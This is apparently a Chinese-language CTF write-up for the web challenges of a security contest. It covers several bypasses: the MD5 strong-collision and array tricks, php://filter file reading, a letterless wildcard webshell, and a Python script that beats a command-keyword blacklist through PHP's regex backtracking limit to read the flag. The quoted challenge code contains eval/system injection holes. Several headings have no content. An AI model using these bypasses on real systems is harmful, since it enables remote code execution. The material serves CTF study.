第三届网络空间安全挑战赛-Web

Web

Checkin

友好的签到题,《原神》是一款由米哈游开发的开放世界冒险角色扮演游戏,于2022年9⽉28⽇正式发售。游戏的背景设定在⼀个名为提瓦特的幻想世界,玩家将扮演一个被神秘力量分离的旅行者,通过自定义外貌、技能和装备,探索这个充满奇幻和冒险的世界。
网页打开发现没有什么东西,考虑查看源码,发现右键和F12被禁⽤,那么采⽤其他方式进⾏源码查看:

1
2
3
4
view-source: url
curl url
浏览器禁⽤js脚本
浏览器相关插件等方式

checkin

Ez_PHP

include文件包含,使用伪协议php://filter进行读取即可。使⽤数组绕过经典MD5判断,路径中无意义的部分不会影响最后的读取
Ez_PHP

随后获得base64加密的flag,解密即可。

NormalBypass

NormalShell

原题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
highlight_file(__FILE__);
if ((string)$_GET['username'] !== (string)$_GET['password'] && md5($_GET['username']) === md5($_GET['password'])) {
if(!isset($_GET['target'])){
echo "Getting over it!"; }
else {
$res = $_GET['target'];
if(!preg_match("/[a-zA-Z0-9_$@]+/",$res)){
eval($res); }
else {
die('Soon');
} }}
else { die("NOT NOT YET!");}
?> NOT NOT YET!

本题第一关经典MD5,通过MD5强碰撞解决:

1
2
username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

接下来的过滤⽐较严格,我们注意到返回报文里的PHP版本:
Normalshell

参考无字母无数字webshell的此文章:https://www.freebuf.com/articles/web/186298.html
这里的preg_match多了对@的限制,我们仍然使⽤linux的通配符进⾏匹配:
题目过滤数字,所以我们使用数字和@之间特殊字符进行匹配:
Normalshell2

根据这些以及文章内容构造出恶意POST包即可进行任意命令执行:
Normalshell3

NormalUpload

NormalPreg

原题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
?php
error_reporting(0);
$target=@$_POST['target'];
$code = @$_POST['code'];

function process($code){
return preg_replace("/php|cat|tac|assert|pcntl_exec|fwrite|curl|sleep|eval|system|assert|flag|shell_exec|passthru|exec|F10g|fl0g|fl1g|phar/i",'',$code);
}

if(!is_array($target)){

if(!preg_match_all('/but.*how/is',$target)){

if(strpos($target,'but how')!==false){

system(process($code));

}else{
die('tip: backup file there');
}

}else{
die('NO there');
}
}
?

本题考点是利用php的正则回溯次数上限进行绕过,以及linux通配符,使用下面的脚本就能解决:

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

data = {
'target': BytesIO(b'but how' + b'a' * 1000000),
'code':BytesIO(b'tail /*lag')
}
res = requests.post('http://ctf.v50to.cc:10074/',data=data)
print(res.text)

关于一些比较常见的 Preg 绕过问题可以学习这篇文章:https://blog.csdn.net/q20010619/article/details/120091191

Normal-unserialize

Ezxsssss

newnew

Loggggg